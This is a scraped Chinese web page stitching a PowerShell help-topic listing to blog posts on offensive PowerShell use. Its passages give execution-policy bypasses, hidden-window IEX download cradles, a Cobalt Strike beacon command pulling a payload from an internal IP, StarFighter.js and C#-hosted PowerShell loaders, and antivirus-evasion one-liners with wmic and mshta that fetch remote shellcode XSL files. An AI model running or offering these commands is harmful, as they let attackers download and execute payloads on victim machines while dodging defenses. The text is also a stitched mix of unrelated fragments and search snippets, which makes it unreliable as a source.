    about_functions_cmdletbindinga... HelpFile  说明一个声明函数的属性,这种函数与已编译 cmdlet 有类似的功能。
    about_hash_tables                 HelpFile  说明如何在 Windows PowerShell 中创建、使用和...
    about_History                     HelpFile  说明如何检索和运行命令历史记录中的命令。               
    about_If                          HelpFile  说明一个语言命令,该语言命令可用于根据一个或多个条件测试的结果运...
    about_jobs                        HelpFile  提供有关 Windows PowerShell 后台作业如何在后...
    about_job_details                 HelpFile  提供有关本地和远程计算机上的后台作业的详细信息。           
    about_join                        HelpFile  说明联接运算符 (-join) 如何将多个字符串合并为单个字符串。  
    about_Language_Keywords           HelpFile  说明 Windows PowerShell 脚本语言中的关键字。   
    about_Line_Editing                HelpFile  说明如何在 Windows PowerShell 命令提示符下编...
    about_locations                   HelpFile  说明如何在 Windows PowerShell 中从工作位置访...
    about_logical_operators           HelpFile  说明在 Windows PowerShell 中用于连接语句的运算符。
    about_methods                     HelpFile  说明如何在 Windows PowerShell 中使用方法对对...
    about_modules                     HelpFile  说明如何安装、导入和使用 Windows PowerShell 模块。
    about_objects                     HelpFile  提供有关 Windows PowerShell 中的对象的基本信息。 
    about_operators                   HelpFile  说明 Windows PowerShell 支持的运算符       
    about_parameters                  HelpFile  说明如何在 Windows PowerShell 中使用 cmd...
    about_Parsing                     HelpFile  说明 Windows PowerShell 如何分析命令。      
    about_Path_Syntax                 HelpFile  说明 Windows PowerShell 中的完整和相对路径名...
    about_pipelines                   HelpFile  在 Windows PowerShell 中将命令合并到管道中    
    about_preference_variables        HelpFile  用于自定义 Windows PowerShell 行为的变量     
    about_profiles                    HelpFile  描述如何创建和使用 Windows PowerShell 配置文件。 
    about_prompts                     HelpFile  描述 Prompt 函数并演示如何创建自定义 Prompt 函数。  
    about_properties                  HelpFile  描述如何在 Windows PowerShell 中使用对象属性。  
    about_providers                   HelpFile  描述 Windows PowerShell 提供程序如何使用户能...
    about_pssessions                  HelpFile  介绍 Winodos PowerShell 会话 (PSSess...
    about_pssession_details           HelpFile  介绍有关 Windows PowerShell 会话及其在远程命...
    about_PSSnapins                   HelpFile  介绍 Windows PowerShell 管理单元,并说明如何...
    about_Quoting_Rules               HelpFile  介绍单引号和双引号在 Windows PowerShell 中的...
    about_Redirection                 HelpFile  介绍如何将 Windows PowerShell 输出重定向到文...
    about_Ref                         HelpFile  介绍如何创建和使用引用变量类型。                   
    about_regular_expressions         HelpFile  介绍 Windows PowerShell 中的正则表达式。     
    about_remote                      HelpFile  说明如何在 Windows PowerShell 中运行远程命令。  
    about_remote_FAQ                  HelpFile  包括有关在 Windows PowerShell 中运行远程命令...
    about_remote_jobs                 HelpFile  说明如何在远程计算机上运行后台作业。                 
    about_remote_output               HelpFile  说明如何对远程命令的输出进行解释和格式设置。             
    about_remote_requirements         HelpFile  介绍在 Windows PowerShell 中运行远程命令的系...
    about_remote_troubleshooting      HelpFile  说明如何解决 Windows PowerShell 中的远程操作...
    about_requires                    HelpFile  通过要求使用指定的管理单元和版本来阻止脚本运行。           
    about_Reserved_Words              HelpFile  列出 Windows PowerShell 中因具有特殊含义而不...
    about_Return                      HelpFile  退出当前作用域(可能是函数、脚本或脚本块)。             
    about_scopes                      HelpFile  介绍 Windows PowerShell 中的作用域的概念,并...
    about_scripts                     HelpFile  说明如何在 Windows PowerShell 中编写和运行脚本。 
    about_script_blocks               HelpFile  定义什么是脚本块,并说明在 Windows PowerShell...
    about_script_internationalization HelpFile  介绍 Windows PowerShell 2.0 的脚本国际化...
    about_Session_Configurations      HelpFile  描述确定可远程连接到计算机的用户及其可运行的命令的会话配置。     
    about_Signing                     HelpFile  说明如何对脚本进行签名以使其符合 Windows PowerSh...
    about_Special_Characters          HelpFile  说明可用于控制 Windows PowerShell 对命令或参...
    about_split                       HelpFile  说明如何使用拆分运算符将一个或多个字符串拆分为多个子字符串。     
    about_Switch                      HelpFile  说明如何使用 switch 来处理多个 IF 语句。         
    about_Throw                       HelpFile  介绍用于生成终止错误 Throw 关键字。              
    about_transactions                HelpFile  介绍如何管理 Windows PowerShell 中的事务处理操作。
    about_trap                        HelpFile  介绍用于处理终止错误的关键字。                    
    about_try_catch_finally           HelpFile  说明如何使用 Try、Catch 和 Finally 块处理终止错误。
    about_types.ps1xml                HelpFile  说明如何通过 Types.ps1xml 文件扩展 Windows...
    about_type_operators              HelpFile  说明运算符如何与 Microsoft .NET Framewor...
    about_Variables                   HelpFile  说明变量如何存储可用于 Windows PowerShell 的值。 
    about_While                       HelpFile  说明一条语句,该语句可用于根据条件测试的结果运行命令块。       
    about_wildcards                   HelpFile  说明如何在 Windows PowerShell 中使用通配符。   
    about_Windows_PowerShell_2.0      HelpFile  说明 Windows PowerShell 2.0 提供的新功能。  
    about_Windows_PowerShell_ISE      HelpFile  说明 Windows PowerShell 集成脚本环境 (IS...
    about_WMI_Cmdlets                 HelpFile  提供有关 Windows Management Instrume...
    about_WS-Management_Cmdlets       HelpFile  提供 Web Services for Management (...
    default                           HelpFile  显示有关 Windows PowerShell cmdlet 和...代码片
    
    展开全文
  • powershell使用总结

    万次阅读 2020-08-21 14:58:12
    powershell.exe -ExecutionPolicy bypass -noprofile IEX(’’) 上述命令意思为 1、将执行策略设置为绕过,这样可以执行powershell脚本文件。 2、不加载配置文件 3、隐藏窗口 4、Iex命令为invove-expression的别名:...

    1.模块导入

    Import-Module Recon
    Import-Module -name .\powerview.ps1

    2.查看模块对应命令

    Get-Command -Module name
    

    3.常见参数概述

    powershell.exe -ExecutionPolicy bypass -noprofile IEX(’’)
    上述命令意思为
    1、将执行策略设置为绕过,这样可以执行powershell脚本文件。
    2、不加载配置文件
    3、隐藏窗口
    4、Iex命令为invove-expression的别名:接收一个字符串作为要运行的完整命令(包括参数)。
    在这里插入图片描述

    名称 用法
    -Command 需要执行的代码
    -ExecutionPolicy 设置默认的执行策略,一般使用Bypass
    -EncodedCommand 执行Base64代码,可在powershell混淆的时候用
    -File 这是需要执行的脚本名
    -NoExit 执行完成命令之后不会立即退出,比如我们执行powerhsell whoami 执行完成之后会推出我们的PS会话,如果我们加上这个参数,运行完之后还是会继续停留在PS的界面
    -NoLogo 不输出PS的Banner信息
    -Noninteractive 不开启交互式的会话
    -NoProfile 不使用当前用户使用的配置文件
    -Sta 以单线程模式启动ps
    -Version 设置用什么版本去执行代码
    -WindowStyle 设置Powershell的执行窗口,有下面的参数Normal, Minimized, Maximized, or Hidden,一般使用hidden

    ep bypass= -ExecutionPolicy bypass
    IEX(‘echo hello’) = invoke-expression(‘echo hello’)
    -WindowStyle hidden

    4.绕过powershell执行策略

    cmd中:powershell -ep bypass
    powershell中:Set-ExecutionPolicy Bypass -Scope Process
    当有administrator权限当时候可以直接使用Set-ExecutionPolicy Unrestricted
    也可以参考下面的链接
    绕过powershell执行策略的方法

    5.powershell下载远程数据

    powershell (Invoke-WebRequest -Uri "https://github.com/HoldOnToYourHeart/nc/raw/cafb11118be48803396d472ca85c3e7c099b4891/calc.exe" -OutFile "C:\Users\31030\Desktop\tools\test\calc2.exe")
    
    powershell (new-object System.Net.WebClient).DownloadFile('https://raw.githubusercontent.com/dafthack/DomainPasswordSpray/master/DomainPasswordSpray.ps1','C:\Users\Administrator\Desktop\12.ps1')
    

    6.常见操作

    1. 绕过本地权限执行文件

    PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1

    1. 本地隐藏绕过权限执行脚本

    PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -Nonlnteractive -NoProfile -File xxx.ps1

    1. 用IEX下载远程PS1脚本绕过权限执行

    PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden-NoProfile-NonI IEX(New-ObjectNet.WebClient).DownloadString(“xxx.ps1”);[Parameters]

    1. cs上线命令
      powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.95.57.87:82/a'))"
    2. 如果只能执行cmd,那么通过下面的命令来执行powershell脚本里面的函数。
    powershell -exec bypass "Import-Module C:\Users\zhangsan\Desktop\powerview.ps1;Get-NetDomain"
    

    在这里插入图片描述

    1. 筛选
    Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication |Where-Object{$_.Name -like "MM*"}
    

    筛选Name字段中含有以MM开头的所有值。

    7.powershell函数传参相关

    但我们要传输powershell命令的时候,如果参数重含有单引号" ’ ",这时候我们需要转义它,转义的方式为在它前面再加一个单引号。且powershell函数传参数的时候,尽量中单引号扩起来,系统只会将两个单引号之间的内容当作字符串传输,而不是当作命令,进而降低了出错概率。

    8.附录参考

    powershell攻击教程

    展开全文
  • CATALOG前言powershell的本质小试牛刀 前言 前几天在学习windows命名管道的时候偶然看到一篇文章: we don’t neet powershell.exe 作者提供了一种特殊的运行powershell脚本的方式,这种方式既有趣又实用,是通过c#来...

    前言

    前几天在学习windows命名管道的时候偶然看到一篇文章:
    we don’t neet powershell.exe
    作者提供了一种特殊的运行powershell脚本的方式,这种方式既有趣又实用,是通过c#来实现的,因此这也坚定了我学习c#的步伐。

    powershell的本质

    在这里插入图片描述

    我们都知道powershell是一个exe程序,它可以执行自己的命令或者powershell脚本。其实powershell的本质就是解释器,类似于python。python解释器通过解释了python脚本来调用操作系统给予的各种底层函数。

    assembly我的理解是类似于python中的库

    powershell通过解释powershell脚本,来调用System.Management.Automation.dll,System.Management.Automation是.NET 框架下的一个assembly。说白了就是我们写一个powershell脚本,通过powershell这个程序,我们可以调用System.Management.Automation.dll里面的函数,就跟我们写个python脚本,用 python3 demo.py一样,原理是类似的。
    而c#语言可以将所谓的c#“脚本”解释后来调用.NET框架下所有的assembly。因此我们可以用c#实现powershell的功能。这在当powershell被某些策略禁用的时候十分好用。

    小试牛刀

    我们先写一个程序,让其可以单方面解释一段powershell脚本。

    代码:

    using System.Collections.ObjectModel; 
    using System.Management.Automation; 
    using System.Management.Automation.Runspaces; 
    using System.IO;
    using System;
    using System.Text;
    namespace PSLess
    {
     class PSLess
     {
       static void Main(string[] args)
       {
         if(args.Length ==0)
             Environment.Exit(1); //终止此进程并返回给操作系统错误代码1。
         string script=LoadScript(args[0]);//接收命令行的第一个参数。并传输到LoadScript函数中,将函数的返回值保存到script。
         string s=RunScript(script);//执行script脚本并将返回值赋给s。
         Console.WriteLine(s);//输出命令结果s。
       }
     private static string LoadScript(string filename) 
     { 
       string buffer ="";
       try {
        buffer = File.ReadAllText(filename);//打开文件并读取文件中的所有文本并存储到buffer中然后关闭文件。
        }
       catch (Exception e) //catch块做异常处理
       { 
         Console.WriteLine(e.Message);
         Environment.Exit(2);//终止进程并抛出错误代码2给操作系统。
        }
      return buffer;//将buffer的值作为此函数的返回值。
     }
     private static string RunScript(string script) 
     { 
        Runspace MyRunspace = RunspaceFactory.CreateRunspace();//创建一个runspace类,可以通过这个类来解析powershell脚本
        MyRunspace.Open();//执行powershell脚本前必须执行此函数
        Pipeline MyPipeline = MyRunspace.CreatePipeline(); //创建可以用来执行命令的管道类
        MyPipeline.Commands.AddScript(script);//添加一个新的脚本命令
        MyPipeline.Commands.Add("Out-String");//将执行命令后返回的对象转换为字符串数组,不加这一行的话返回值有时候会很奇怪,例如ls命令的返回值会有变化。
        Collection<PSObject> outputs = MyPipeline.Invoke();//执行命令,然后将结果转化为对象数组并返回
        MyRunspace.Close();//关闭runspace
       StringBuilder sb = new StringBuilder(); //这个类可以存储可变的字符串
       foreach (PSObject pobject in outputs) //遍历outputs
       { 
           sb.AppendLine(pobject.ToString()); //将outputs里面所有的值转化为字符串类型并添加到sb对象的结尾。
       }
        return sb.ToString();//将sb里面的值转化为string类型并作为函数的返回值。 
      }
     }
    }
    

    文件生成命令:

    csc.exe /reference:C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\system.management.automation.dll /out:C:\Users\Administrator\Desktop\powerless.exe C:\Users\Administrator\Desktop\1.cs
    

    实际效果:

    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    参考文章:我们不需要powershell

    利用starfighter

    可以利用starfighter这个js脚本,修改里面的一个名为encodepayload参数。具体操作如下:

    打开计算器

    假设我们想打开一个计算器,powershell命令为start calc.exe,可以在网上直接在线base64编码这条命令,或者用powershell脚本进行base64编码。
    1.创建一个powershell脚本文件,内容如下:

    $code = 'start calc.exe'
    $bytes  = [System.Text.Encoding]::UNICODE.GetBytes($code);
    $encoded = [System.Convert]::ToBase64String($bytes)
    $encoded 
    

    在这里插入图片描述

    执行后生成一段base64编码:
    cwB0AGEAcgB0ACAAYwBhAGwAYwAuAGUAeABlAA==
    将此base64密文加入到starfighter.js这个脚本中,修改encodepayload字段为上面的到的base64密文:
    在这里插入图片描述
    然后执行命令 cscript StarFighter.js即可弹出计算器。

    深层利用

    同理,输入一段可以用来上线的powershell代码,利用跟前面同样的操作即可用js脚本上线:
    在这里插入图片描述
    在这里插入图片描述
    切记复制base64密文的时候不能复制换行符。

    不过可惜的是有很多杀毒软件都会查杀:
    在这里插入图片描述

    p0wnedshell

    下载地址:https://github.com/Cn33liz/p0wnedShell
    可以实现powershell的全部功能,还能执行mimkatz与powerview等命令,是一个十分不错的攻击套件,只是会被查杀。
    在这里插入图片描述

    免杀

    利用wmic远程文件不落地执行shellcode

    在这里插入图片描述

    wmic os get /FORMAT:"https://raw.githubusercontent.com/Ridter/AMSI_bypass/master/shellcode.xsl"
    

    这里有一个插件已经集成好了功能:amsi_bypass

    实际效果

    在这里插入图片描述
    mshta http://192.168.124.138:8080/a.png

    在这里插入图片描述
    wmic os get /format:"http://192.168.124.138:8080/a.xsl"

    参考文章DotNetToJScript 复活之路

    展开全文
  • PowerShell

    2010-08-18 17:36:00
    PowerShell 提供了也许是最简单灵活的方法来自动执行各种各样的管理任务,从而您的工作效率和效力都得到提高。   PowerShell 是一个外壳,但与从Windows NT 3.1起就出现的命令提示符(cmd.exe)不同...

    PowerShell 提供了也许是最简单灵活的方法来自动执行各种各样的管理任务,从而您的工作效率和效力都得到提高。

     

    PowerShell 是一个外壳,但与从Windows NT 3.1起就出现的命令提示符(cmd.exe)不同,Cmd.exe不会消失,但随着PowerShell的到来,几乎没有什么理由再继续使用Cmd.exe。

    PowerShell 在使用方面与Cmd.exe并无多大不同,只是PowerShell的功能更为强大。与Cmd.exe一样,PowerShell具有内置的脚本编写语言,不过它比Cmd.exe原始的批处理语言更为灵活。灵活性是如何体现的呢?有了PowerShell, 您可以使用仅包括大约半打内置关键字的语言自动执行极其复杂的任务。

    PowerShell 会引入一套新的命令,他们不是外部可执行文件。这些cmdlet就内置于PowerShell之中。

    快速入门十大cmdlet

     

    Get-Command 用于检索所有可用的cmdlet列表

    Get-help 用于显示有关cmdlet和概念的帮助信息。

    Get-WMIObject 用于通过WMI来检索管理信息。

    Get-EventLog用于检索Windows时间日志。

    Get-Process用于检索单个活动进程或活动进程的列表。

    Get-Service 用于检索Windows服务。

    Get-Content 用于读入文本文件,将每行视为一各子对象。

    Add-Content 用于将内容附加到文本文件。

    Copy-Item用于复制文件、文件夹和其他对象。

    Get-Acl 用于检索访问控制列表(ACL).

     

     

    展开全文
  • PowerShell Welcome to the PowerShell GitHub Community! PowerShell Core is a cross-platform (Windows, Linux, and macOS) automation and configuration tool/framework that works well with your existing ...
  • powerShell书籍大全

    2019-02-28 10:27:23
    Mastering+PowerShell+英文版.pdf PowerShell+2.0+官方中文手册.chm PowerShell+3.0+入门教程+中文版.pdf PowerShell+3.0+官方语法手册+英文版.docx PowerShell+3.0+进阶教程+中文版.pdf ...
  • Powershell 基础

    千人学习 2017-03-02 20:49:17
    Windows PowerShell 做为微软全新一代的脚本运行环境,趋势己是不可阻挡,随着逐步地发展和完善,它将成为 Windows 平台新一代的管理利器,本课程将从零开始,为您说明 PowerShell 的功能,特性和应用,本课程将以 ...
  • powershell on mac

    2020-11-24 12:26:47
    Microsoft.PowerShell.Archive, Microsoft.PowerShell.Core, Microsoft.PowerShell.Host, Microsoft.PowerShell.Management, Microsoft.PowerShell.Security, Microsoft.PowerShell.Utility, PackageManagement, ...
  • windows系统之powershell基础

    千次阅读 2020-02-17 18:12:18
    目录powershell简介powershell 特点powershell快捷键powershell常用命令变量数组哈希表 powershell简介 平常工作中大家比较熟悉的就是cmd了,在windows中,与cmd类似甚至更为强大的就是powershell了,光名字就霸气...
  • PowerShell脚本编写手册

    2013-01-14 12:14:52
    中文名: PowerShell脚本编写手册 原名: Windows Powershell Scripting Guide 作者: Ed Wilson 资源格式: PDF 版本: 影印版 出版社: Microsoft Press书号: 073562279发行时间: 2008年 地区: 美国 语言: 英文 内容...
  • PowerShellServer 2016

    2018-12-03 18:45:39
    PowerShellServer2016 安装后可直接运行 # This example demonstrates how to generate an RSS feed from a call to the Get-ChildItem cmdlet (dir). # Check for user input $dir = $request['path'] if ( $dir -...
  • 浅谈CMD和win powershell的区别

    万次阅读 多人点赞 2018-03-06 18:03:03
    1、前言:本文给大家简单描述了一下POWERSHELL和CMD的区别,简单的说,Powershell是cmd的超集,换句话说,cmd能做的事情,Powershell都能做,但是Powershell还能额外做许多cmd不能做的活。 2、cmd是和powershell都...
  • Windows PowerShell in Action, Third Edition is the definitive guide to PowerShell, now revised to cover PowerShell 6. About the Technology In 2006, Windows PowerShell reinvented the way ...
  • Chapter 1: PowerShell Scripting Methods and Creating Custom Commands 7 Introduction 7 Setting up your Virtual Machine and running a test script 8 Authoring, debugging, and executing script accessing ...
  • Windows PowerShell 2.0 for xp下载

    热门讨论 2009-05-07 22:01:23
    Microsoft Windows PowerShell 是一种新的命令行外壳和脚本语言,用于进行系统治理和自动化。Windows PowerShell 建立在 .NET Framework 的基础上,IT 专业人员可通过命令或脚本来治理计算机,从而通过系统自动化来...
  • powershell-book

    2018-05-15 15:14:26
    分享几本PowerShell 电子书: 1. PowerShell4参考 powershell_langref_v4 2. PowerShell步步为营 WindowsPowershellStepByStep 3. PowerShell专家笔记 PowerShellNotesForProfessionals 4. 从0开始学PowerShell ...
  • powershell教程

    2011-02-16 17:58:14
    powershell学习教程,powershell学习教程powershell学习教程powershell学习教程powershell学习教程powershell学习教程powershell学习教程
  • Powershell 5.x 脚本编程

    2017-08-13 20:26:47
    基于 Windows Server 2016 和 Windows 10 的 Powershell 脚本编程课程,通过这一个课程的介绍,我们将了解到 Powershell 从命令到脚本的进阶,掌握 Powershell 脚本,模块,高级函数,条件判断和错误处理等相关的...
  • PowerShell Plus

    2009-11-18 12:09:36
    PowerShellPlus具有丰富、直观用户界面的PowerShell控制台,非商业用途可以免费使用。非常适合PowerShell用户使用。
  • PowerShell基础

    千次阅读 2013-06-18 19:11:13
    1. 一些命令像Get-SPSite有不同的参数变量。这些变量通过-?展示出来。 Get-SPSite -?   2. F3 在当前行显示最近的一条命令结果 ...5. 配置PowerShell命令模块的环境变量路径 $env:PSModulePath = $env:PSModulePa
  • powershell basic

    千次阅读 2013-03-29 23:26:29
    #powershell bisic  ##set execution policy a>Set-ExecutionPolicy RemoteSigned b>get-executionpolicy ##powershell array $arr = @() $arr+= 1; $arr+= 2; $arr+= 3; $arr ##ha

空空如也

1 2 3 4 5 ... 20
收藏数 27,179
精华内容 10,871
关键字:

powershell